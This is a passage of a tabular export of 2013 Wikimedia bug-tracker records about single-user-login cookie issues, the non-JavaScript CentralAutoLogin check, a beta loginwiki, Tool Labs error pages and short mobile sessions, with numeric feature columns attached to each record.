(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I deleted all my cookies and my cache. At first it was the same result. No log in in other projects only de:wikipedia. Then I logged of in de:wikipedia and now I was logged in in commons. Then I deleted the cookies again. And now I'm logged in in all other projekts. Strange...

Hmm, I will report this at URL

Thank you for your help.
Hosse"
256988,Login only in one project in spite of SUL-account,"Thanks for the report Hoose.

Is it possible for you to delete your cookies, and see if you have the same result? Or maybe try from another browser? I'd like to determine if the problem is your cookies, or if it is your account.",,,1375413182,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,4.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,6.0,6.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,15.0,15.0,2.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,0.7115384615384616,"Thanks for the report Hoose.

Is it possible for you to delete your cookies, and see if you have the same result? Or maybe try from another browser? I'd like to determine if the problem is your cookies, or if it is your account."
54356,Login check without javascript broken,"Without javascript, the central login check is failing to run correctly.

Local wiki writes an image call that looks something like title=Special:CentralAutoLogin/start&type=1x1&from=enwiki

However, CentralAutoLogin checks for

} elseif( $request->getVal( 'from' ) === wfWikiId() && $wgCentralAuthLoginWiki !== wfWikiId() ) {

Which is true in this case, and so the browser is redirected to the central wiki, to Special:CentralAutoLogin/start, which fails.

The pure javascript version of the check makes a call to:

index.php?title=Special:CentralAutoLogin/start&type=script

So the code above doesn't evaluate true, and everything works.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1375306620,1377619495.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_description,resolved,True,c2,1,True,False,True,-4,True,0.0,1.0,0.0,0.5,0.5,5.5,0.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,6.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.0,1.5,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,12.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,1.5,7.5,0.0,2.5,7.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,6.0,6.5,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,4.430555555555555,0.6805555555555556,"Without javascript, the central login check is failing to run correctly.

Local wiki writes an image call that looks something like title=Special:CentralAutoLogin/start&type=1x1&from=enwiki

However, CentralAutoLogin checks for

} elseif( $request->getVal( 'from' ) === wfWikiId() && $wgCentralAuthLoginWiki !== wfWikiId() ) {

Which is true in this case, and so the browser is redirected to the central wiki, to Special:CentralAutoLogin/start, which fails.

The pure javascript version of the check makes a call to:

index.php?title=Special:CentralAutoLogin/start&type=script

So the code above doesn't evaluate true, and everything works.

--------------------------
**Version**: unspecified
**Severity**: major"
254411,Login check without javascript broken,"(In reply to comment #3)
> https://gerrit.wikimedia.org/r/77117

Patch merged on 2013-08-01. Closing as FIXED, but please reopen if more work is needed (and elaborate).",,,1377619495,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,11.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.108108108108108,0.8918918918918919,"(In reply to comment #3)
QUOTE

Patch merged on 2013-08-01. Closing as FIXED, but please reopen if more work is needed (and elaborate)."
254408,Login check without javascript broken,"Change 77117 merged by jenkins-bot:
Fix non-JS login check

https://gerrit.wikimedia.org/r/77117",,,1375382259,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.9411764705882353,"Change 77117 merged by jenkins-bot:
Fix non-JS login check

GERRIT_URL"
254405,Login check without javascript broken,"Change 77117 had a related patch set uploaded by Anomie:
Fix non-JS login check

https://gerrit.wikimedia.org/r/77117",,,1375363628,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.95,1.0,"Change 77117 had a related patch set uploaded by Anomie:
Fix non-JS login check

GERRIT_URL"
254400,Login check without javascript broken,"Ah, I see what's happening there. It should fix it to simply remove the ""from"" parameter from that particular URL; I'll test that and put the patch in Gerrit if it works.",,,1375363167,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qmea6ebyj4xqwpomkvxl,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,15.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,12.0,12.0,5.0,0.0,5.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.475,0.825,"Ah, I see what's happening there. It should fix it to simply remove the ""from"" parameter from that particular URL; I'll test that and put the patch in Gerrit if it works."
53745,Implement a custom HTTP 500 error page on labs,"500 Internal Server Error

At http://tools.wmflabs.org/ftl/cgi-bin/ftl?st=wp&su=Rosa+Parks I currently get the default Apache HTTP 500 error page.

It is uninformative. In particular I want to see information to the effect that ""this error could either be a problem with the individual tool you are trying to use, or with the Labs server setup more generally"". 

(I don't know if this is specific to Tool Labs or the entire wmflabs.org cluster, so please recategorise accordingly.)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: http://tools.wmflabs.org/ftl/cgi-bin/

**Attached**: {F11402}",Needs Triage,90.0,1374321780,1374607194.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ndifoahptzsidbssywc7,task_description,resolved,True,c2,1,False,False,True,-6,True,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,1.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,10.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,13.5,1.5,2.0,4.5,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,3.0,5.5,4.5,0.0,1.0,0.0,3.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,3.7863564251718667,0.7066367001586462,"500 Internal Server Error

At URL I currently get the default Apache HTTP 500 error page.

It is uninformative. In particular I want to see information to the effect that ""this error could either be a problem with the individual tool you are trying to use, or with the Labs server setup more generally"". 

(I don't know if this is specific to Tool Labs or the entire wmflabs.org cluster, so please recategorise accordingly.)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL

**Attached**: {F11402}"
241420,Implement a custom HTTP 500 error page on labs,(Also 403),,,1374614944,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-ndifoahptzsidbssywc7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.25,1.0,(Also 403)
241413,Implement a custom HTTP 500 error page on labs,I've replaced the 500 and 404 messages with something more useful for the general user.,,,1374607194,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-ndifoahptzsidbssywc7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.294117647058823,0.9411764705882353,I've replaced the 500 and 404 messages with something more useful for the general user.
241405,Implement a custom HTTP 500 error page on labs,See URL field for a URL that seems to reliably give HTTP 500.,,,1374373551,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ndifoahptzsidbssywc7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9285714285714286,See URL field for a URL that seems to reliably give HTTP 500.
53622,Add loginwiki to beta,"To have beta's login fully mimic productions, we should setup a loginwiki equivalent in beta.

To make it similar to production, the wiki should only us https, and have most features and extensions disabled. However, the only thing required for SUL2 is that we have a central wiki designated as the one keeping track of all logins. So if it's too much work, it's probably not worth the effort right now.

Realistically, I probably don't have the time to figure this out on my own in the next couple of weeks, but if I can get some help on it, I think we should be able to set this up pretty quickly.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374165600,1374694170.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-iu3jn3zkv3ilnghozzug,task_description,resolved,True,c2,1,True,False,True,-6,True,1.5,0.0,0.5,0.0,1.5,8.0,1.0,0.0,0.0,1.0,2.0,0.5,0.0,1.0,0.0,5.0,0.0,8.5,10.5,0.0,2.5,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,4.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.0,0.0,0.5,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.5,1.0,6.5,1.5,1.5,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.5,0.5,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,3.7704504504504506,0.7181081081081081,"To have beta's login fully mimic productions, we should setup a loginwiki equivalent in beta.

To make it similar to production, the wiki should only us https, and have most features and extensions disabled. However, the only thing required for SUL2 is that we have a central wiki designated as the one keeping track of all logins. So if it's too much work, it's probably not worth the effort right now.

Realistically, I probably don't have the time to figure this out on my own in the next couple of weeks, but if I can get some help on it, I think we should be able to set this up pretty quickly.

--------------------------
**Version**: unspecified
**Severity**: normal"
234396,Add loginwiki to beta,The loginwiki is available at https://login.wikimedia.beta.wmflabs.org/,,,1374693638,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,The loginwiki is available at URL
234391,Add loginwiki to beta,"Change 75080 merged by jenkins-bot:
beta: set $wg.*Server for loginwiki

https://gerrit.wikimedia.org/r/75080",,,1374485569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"Change 75080 merged by jenkins-bot:
beta: set $wg.*Server for loginwiki

GERRIT_URL"
234384,Add loginwiki to beta,"Change 75080 had a related patch set uploaded by Hashar:
beta: set $wg.*Server for loginwiki

https://gerrit.wikimedia.org/r/75080",,,1374485533,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9047619047619048,"Change 75080 had a related patch set uploaded by Hashar:
beta: set $wg.*Server for loginwiki

GERRIT_URL"
234376,Add loginwiki to beta,The SSL cert request is already tracked by bug 48501. No activity since May 15th 20th though.,,,1374265080,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.052631578947368,0.9473684210526315,The SSL cert request is already tracked by bug 48501. No activity since May 15th 20th though.
234369,Add loginwiki to beta,"Also, after talking with Ryan and Krenair, we'll probably just start with it being available on http until we figure out how to have valid ssl certs in beta. Otherwise, I've noticed that at least Chrome will fail to follow a 302 if the target has an invalid cert, so it would likely break logins.",,,1374198309,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,6.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,21.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,3.0,0.0,2.0,0.0,2.0,0.0,3.8412698412698414,0.873015873015873,"Also, after talking with Ryan and Krenair, we'll probably just start with it being available on http until we figure out how to have valid ssl certs in beta. Otherwise, I've noticed that at least Chrome will fail to follow a 302 if the target has an invalid cert, so it would likely break logins."
234363,Add loginwiki to beta,"If you create the 'loginwiki' on beta, I guess it will inherits all the production settings and be almost ready for use :-]",,,1374178728,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-iu3jn3zkv3ilnghozzug,task_subcomment,,True,c2,1,True,,,-6,True,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,12.0,4.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8846153846153846,0.9230769230769231,"If you create the 'loginwiki' on beta, I guess it will inherits all the production settings and be almost ready for use :-]"
53616,beta commons fatal 503 from UserLogin and Varnish,"at http://commons.wikimedia.beta.wmflabs.org/

click ""Log in""

get fatal error: 

Request: GET http://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&returnto=Main+Page, from 127.0.0.1 via deployment-cache-text1 deployment-cache-text1 ([127.0.0.1]:3128), Varnish XID 992017130
Forwarded for: 127.0.0.1
Error: 503, Service Unavailable at Thu, 18 Jul 2013 15:29:44 GMT

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1374161400,1374176577.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bzu3hkphin5bmbt5nwws,task_description,resolved,True,c2,1,False,False,True,-6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,8.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.8701298701298703,0.6103896103896104,"at URL

click ""Log in""

get fatal error: 

Request: GET URL from 127.0.0.1 via deployment-cache-text1 deployment-cache-text1 ([127.0.0.1]:3128), Varnish XID 992017130
Forwarded for: 127.0.0.1
Error: 503, Service Unavailable at Thu, 18 Jul 2013 15:29:44 GMT

--------------------------
**Version**: unspecified
**Severity**: major"
234021,beta commons fatal 503 from UserLogin and Varnish,Seems to have been transient,,,1374176577,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-bzu3hkphin5bmbt5nwws,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,Seems to have been transient
53377,Mobile cannot keep a login for more than 2 days,"Yeh there seems to be another issue here as well. The login session is only lasting for 2 days on my mobile. Bugzilla and Gerrit seem to stay logged in forever on the other hand.


The mobile site uses HTTPS - could this be part of the issue?

Here's an inspection of my HTTP headers:
On mobile site:

Sent:
enwikiUserName	Jdlrobson	/	en.m.wikipedia.org	Wed Aug 14 10:40:59 2013
centralauth_LoggedOut	xxx	/	.wikipedia.org	Wed Aug 14 10:43:58 2013
mfsecure	1	/	.wikipedia.org	Mon Jul 15 11:51:50 2013
enwiki_session	xxx	/	en.m.wikipedia.org	End Of Session
centralnotice_bucket	0-4.2	/	en.m.wikipedia.org	Mon Jul 22 09:54:35 2013
enwikiLoggedOut	xxx	/	en.m.wikipedia.org	Tue Jul 16 10:43:58 2013

received:
centralauth_User	Jdlrobson	/	.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
centralauth_Token	deleted	/	.wikipedia.org	Thu, 01-Jan-1970 00:00:01 GMT
centralauth_Session	xxx	/	.wikipedia.org	End Of Session
enwikiUserID	xxx	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
enwikiUserName	Jdlrobson	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
enwikiToken	deleted	/	en.m.wikipedia.org	Thu, 01-Jan-1970 00:00:01 GMT
enwikiforceHTTPS	true	/	en.m.wikipedia.org	Wed, 14-Aug-2013 17:44:14 GMT
enwiki_session	xxx	/	en.m.wikipedia.org	End Of Session

On desktop site:

Sent:
uls-previous-languages	xxx	/w/	en.wikipedia.org	End Of Session
ext.moodBar%403-tooltip	1	/	en.wikipedia.org	Sat Aug  3 15:03:44 2013
mediaWiki.user.id	xxx	/	en.wikipedia.org	Thu Oct 17 15:13:09 2013
wikimedia-SUL-final-CN-general	5	/	en.wikipedia.org	Thu May  8 22:24:51 2014
centralnotice_bucket	1-4.2	/	en.wikipedia.org	Mon Jul 22 10:44:50 2013
enwiki_session	xxx	/	en.wikipedia.org	End Of Session

Received:
centralauth_User	Jdlrobson	/	.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
centralauth_Token	xxx	/	.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
centralauth_Session	xxx	/	.wikipedia.org	End Of Session
enwikiUserID	xxx	/	en.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
enwikiUserName	Jdlrobson	/	en.wikipedia.org	Wed, 14-Aug-2013 17:45:00 GMT
enwiki_session	xxx	/	en.wikipedia.org	End Of Session

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1373910480,1374026098.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-mkcld7d34ycwol6vtp7o,task_description,resolved,True,c2,1,False,False,True,-7,True,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.16666666666666666,0.16666666666666666,2.0,0.0,1.0,2.8333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,0.16666666666666666,0.16666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.8333333333333334,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,6.833333333333333,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.8333333333333334,0.5,15.666666666666666,0.0,0.16666666666666666,1.1666666666666667,0.0,0.0,0.0,0.0,0.5,0.0,9.166666666666666,0.0,0.3333333333333333,2.8333333333333335,20.166666666666668,0.16666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,4.002031937272901,0.4967489003633581,"Yeh there seems to be another issue here as well. The login session is only lasting for 2 days on my mobile. Bugzilla and Gerrit seem to stay logged in forever on the other hand.


The mobile site uses HTTPS - could this be part of the issue?

Here's an inspection of my HTTP headers:
On mobile site:

Sent:
enwikiUserName	Jdlrobson	/	en.m.wikipedia.org	Wed Aug 14 10:40:59 2013
